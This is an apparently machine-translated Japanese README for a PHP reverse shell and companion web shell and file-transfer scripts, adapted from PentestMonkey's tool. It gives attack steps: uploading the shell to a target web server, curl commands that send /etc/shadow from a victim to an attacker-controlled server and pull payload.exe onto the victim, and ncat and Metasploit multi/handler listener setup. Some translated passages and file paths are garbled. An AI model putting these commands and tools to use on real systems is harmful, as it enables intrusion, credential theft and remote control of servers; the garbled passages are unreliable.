人気のPHPリバースシェルスクリプトPentestMonkey/PHP-Reverse-Shellで少し更新されます。元の著者へのクレジット!
/bin/shとcmd.exeを使用して /bin /shとWindows OSを使用してLinux OSおよびMacOSで動作します。スクリプトは、基礎となるOSを自動的に検出します。
ncatとmulti/handler両方で動作します。
Kali Linux V2020.2(64ビット)でPHP V7.3.19でLinux V7.3.19(64ビット)のXAMPPでテストされました。
MacOS Catalina V10.15.6(64ビット)でPHP V7.4.10でOS X V7.4.10(64ビット)のXAMPPでテストされました。
Windows 10 Enterprise OS(64ビット)でPHP V7.4.3でWindows V7.4.3(64ビット)のXAMPPでテストされました。
さらに、すべてがPHP V4.4.0を搭載したDocker Images Nouphet/Docker-Php4およびPHP V5.2.17でSteeze/Php52-Nginxでテストされました。
教育目的で作られています。私はそれが役立つことを願っています!
Windows OSのプロセスパイプは非同期操作をサポートしていないため、 stream_set_blocking() 、 stream_select() 、およびfeof()正しく動作しませんが、回避策が見つかりました。
/src/reverse/php_reverse_shell.phpには、php v5.0.0以上が必要です。
/SRC/REVERVESS/PHP_REVERSE_SHELL_OLDER.PHPにはPHP V4.3.0以上が必要です。
必要に応じて、スクリプト内のIPアドレスとポート番号を変更します。
/src/reverse/php_reverse_shell.phpをサーバーのWebルートディレクトリ(xamppの/opt/lampp/htdocs/on xampp)にcopyします。または、ターゲットのWebサーバーにアップロードします。
好みのWebブラウザでファイルに移動します。
HTTP POSTリクエストに基づいて、単純なPHP Webシェルを確認してください。
HTTP GETリクエストに基づいて、単純なPHP Webシェルを確認してください。 Commandsをエンコードする必要があります。
HTTP Get Requestに基づいて、Simple PHP Web Shell V2を確認してください。 Commandsをエンコードする必要があります。
LCATRO/PHP-Webshell-Bypass-WAFのPHPの古いバージョンのPHP難読化技術の詳細をご覧ください。著者へのクレジット!
ファイルアップロードのHTTP POSTリクエストに基づいて、Simple PHPファイルのアップロード/ダウンロードスクリプトを確認し、HTTP Get Fileダウンロードのリクエストを確認します。
ファイルをダウンロードするときは、URLファイルパスをエンコードする必要があります。Curlを使用している場合は、出力ファイルを指定することを忘れないでください。
ファイルをアップロードするときは、ファイルパスの前に@を指定することを忘れないでください。
サーバーの構成に応じて、HTTP get requestパラメーターを介してファイルをダウンロードすると、必ずしも機能するとは限らない場合があります。代わりに、スクリプトのファイルパスをハードコアする必要があります。
優先されたWebブラウザーを使用して、被害者のWebサーバー上のスクリプトに移動するか、PCからCurlを使用します。
PCからファイルをサーバーのWebルートディレクトリにアップロードします。
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
サーバーからPCにファイルをダウンロードしてください。
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
リバースシェル内で最初の特権を高めた場合、このスクリプトにはシェルと同じ特権がない場合があります。その場合、特定のファイルをダウンロードするには、ファイルをWebルートディレクトリにコピーして、必要な読み取りアクセス許可を設定する必要がある場合があります。
PHPリバースシェルから、次のCurlコマンドを実行します。
被害者のPCからファイルをサーバーのWebルートディレクトリにアップロードします。
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
サーバーのWebルートディレクトリから被害者のPCにファイルをダウンロードしてください。
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
リスナーをセットアップするには、Kali Linuxで優先コンソールを開き、以下の例の1つを実行します。
ncatリスナーのセットアップ:
ncat -nvlp 9000
multi/handlerリスナーのセットアップ:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

図1 -NCAT

図2-スクリプトのダンプ